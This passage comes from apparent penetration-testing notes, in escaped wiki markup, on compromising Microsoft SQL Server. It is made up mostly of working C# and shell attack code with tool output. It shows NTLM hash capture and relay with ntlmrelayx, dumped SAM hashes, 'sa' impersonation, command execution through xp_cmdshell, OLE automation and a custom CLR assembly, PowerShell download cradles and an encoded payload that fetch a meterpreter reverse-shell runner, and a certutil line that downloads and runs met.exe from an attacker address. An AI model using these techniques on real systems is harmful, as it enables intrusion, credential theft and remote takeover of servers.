* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
